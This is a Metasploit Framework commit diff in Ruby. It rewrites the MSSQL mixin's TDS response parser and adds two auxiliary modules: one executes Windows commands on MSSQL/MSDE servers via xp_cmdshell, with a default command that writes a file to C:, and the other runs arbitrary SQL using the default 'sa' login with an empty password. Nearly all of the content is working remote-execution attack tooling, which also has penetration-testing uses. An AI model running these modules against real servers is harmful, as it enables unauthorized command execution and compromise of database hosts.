more awesomeness from tebo
git-svn-id: file:///home/svn/framework3/trunk@6133 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
34c0b3a2fa
commit
e7aecca838
|
@ -6,9 +6,6 @@ module Msf
|
||||||
#
|
#
|
||||||
# This module exposes methods for querying a remote MSSQL service
|
# This module exposes methods for querying a remote MSSQL service
|
||||||
#
|
#
|
||||||
# TODO: optional encrypted connection bits
|
|
||||||
# TODO: full query response parsing
|
|
||||||
#
|
|
||||||
###
|
###
|
||||||
module Exploit::Remote::MSSQL
|
module Exploit::Remote::MSSQL
|
||||||
|
|
||||||
|
@ -177,32 +174,83 @@ module Exploit::Remote::MSSQL
|
||||||
sock.put(pkt)
|
sock.put(pkt)
|
||||||
resp = sock.get(timeout=15)
|
resp = sock.get(timeout=15)
|
||||||
|
|
||||||
return resp
|
return query_parse(resp)
|
||||||
end
|
end
|
||||||
|
|
||||||
def cmd_exec(cmd)
|
def cmd_exec(cmd)
|
||||||
cmd_query = "xp_cmdshell '#{cmd}'"
|
cmd_query = "xp_cmdshell '#{cmd}'"
|
||||||
resp = sql_query(cmd_query)
|
sql_query(cmd_query)
|
||||||
|
|
||||||
# Check for successful return status in a cheap beta way
|
|
||||||
if (resp and resp =~ /\x79\x00\x00\x00/) # switch to footer[5]
|
|
||||||
# The command completed successfully
|
|
||||||
return query_parse(resp)
|
|
||||||
end
|
|
||||||
|
|
||||||
return false
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def query_parse(resp)
|
def query_parse(resp)
|
||||||
header = resp.slice!(0..7).unpack('CCnnCC') #type, status, size, chan, pkt#, window
|
@data = ""
|
||||||
colinfo = resp.slice!(0..18) # oh lazy, just works for single pkt command output
|
status = 0
|
||||||
footer = resp.slice!(-23..resp.length).unpack('CnnlClCnnl') # footer[5] is return status
|
while status == 0
|
||||||
|
status,
|
||||||
|
size,
|
||||||
|
pkt = parse_header(resp.slice!(0,8))
|
||||||
|
@data << resp.slice!(0,(size-8))
|
||||||
|
end
|
||||||
|
|
||||||
resp.split(%r{\xd1.}).each do |line|
|
until @data == nil
|
||||||
printf("#{line}\n")
|
token = @data.slice!(0,1).unpack('C')[0]
|
||||||
|
case token
|
||||||
|
when 0xa0, 0xa1
|
||||||
|
parse_column()
|
||||||
|
when 0xd1
|
||||||
|
parse_row()
|
||||||
|
when 0x79
|
||||||
|
parse_ret()
|
||||||
|
when 0xfd, 0xfe, 0xff
|
||||||
|
parse_done()
|
||||||
|
when nil
|
||||||
|
break
|
||||||
|
else
|
||||||
|
printf("Got unsupported token!\n")
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_header(header)
|
||||||
|
type,
|
||||||
|
status,
|
||||||
|
size,
|
||||||
|
chan,
|
||||||
|
pkt,
|
||||||
|
window = header.unpack('CCnnCC')
|
||||||
|
|
||||||
|
#printf("Got Packet #{pkt} of #{size} bytes...\n")
|
||||||
|
return status,size,pkt
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_column()
|
||||||
|
len = @data.slice!(0,2).unpack('S')[0]
|
||||||
|
str = @data.slice!(0,len).unpack('A*')
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_row()
|
||||||
|
len = @data.slice!(0,1).unpack('C')[0]
|
||||||
|
if len == 0
|
||||||
printf("\n")
|
printf("\n")
|
||||||
# return query results and returnstatus(footer[5])
|
else
|
||||||
|
str = @data.slice!(0,len).unpack("A*")[0]
|
||||||
|
printf("\t#{str}\n")
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_ret()
|
||||||
|
ret = @data.slice!(0,4).unpack('N')[0]
|
||||||
|
unless ret == 0
|
||||||
|
printf("There was a problem executing the query...\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_done()
|
||||||
|
status,
|
||||||
|
cmd,
|
||||||
|
rows = @data.slice!(0,8).unpack('nnN')
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,52 @@
|
||||||
|
##
|
||||||
|
# $Id:$
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/projects/Framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::MSSQL
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Run a command via xp_cmdshell',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will execute a Windows command on a MSSQL/MSDE instance
|
||||||
|
via the xp_cmdshell procedure.
|
||||||
|
},
|
||||||
|
'Author' => [ 'tebo <tebo [at] attackresearch [dot] com' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Version' => '$Revision:$',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'www.attackresearch.com' ],
|
||||||
|
[ 'URL', 'http://msdn.microsoft.com/en-us/library/cc448435(PROT.10).aspx'],
|
||||||
|
]))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('MSSQL_USER', [ false, 'The username to authenticate as', 'sa']),
|
||||||
|
OptString.new('MSSQL_PASS', [ false, 'The password for the specified username', '']),
|
||||||
|
OptString.new('CMD', [ false, 'Command to execute', 'echo metasploit >> C:\\defenseisdead.txt']),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
connect
|
||||||
|
if mssql_login
|
||||||
|
cmd = datastore['CMD']
|
||||||
|
cmd_exec(cmd)
|
||||||
|
end
|
||||||
|
disconnect
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -0,0 +1,51 @@
|
||||||
|
##
|
||||||
|
# $Id:$
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/projects/Framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::MSSQL
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Run simple SQL against the MSSQL instance',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will allow for simple SQL statements to be executed against a
|
||||||
|
MSSQL/MSDE instance given the appropiate credentials.
|
||||||
|
},
|
||||||
|
'Author' => [ 'tebo <tebo [at] attackresearch [dot] com>' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Version' => '$Revision:$',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'www.attackresearch.com' ],
|
||||||
|
[ 'URL', 'http://msdn.microsoft.com/en-us/library/cc448435(PROT.10).aspx'],
|
||||||
|
]))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('MSSQL_USER', [ false, 'The username to authenticate as', 'sa']),
|
||||||
|
OptString.new('MSSQL_PASS', [ false, 'The password for the specified username', '']),
|
||||||
|
OptString.new('SQL', [ false, 'The SQL to execute', 'select @@version']),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
connect
|
||||||
|
if mssql_login
|
||||||
|
query = datastore['SQL']
|
||||||
|
res = sql_query(query)
|
||||||
|
end
|
||||||
|
disconnect
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue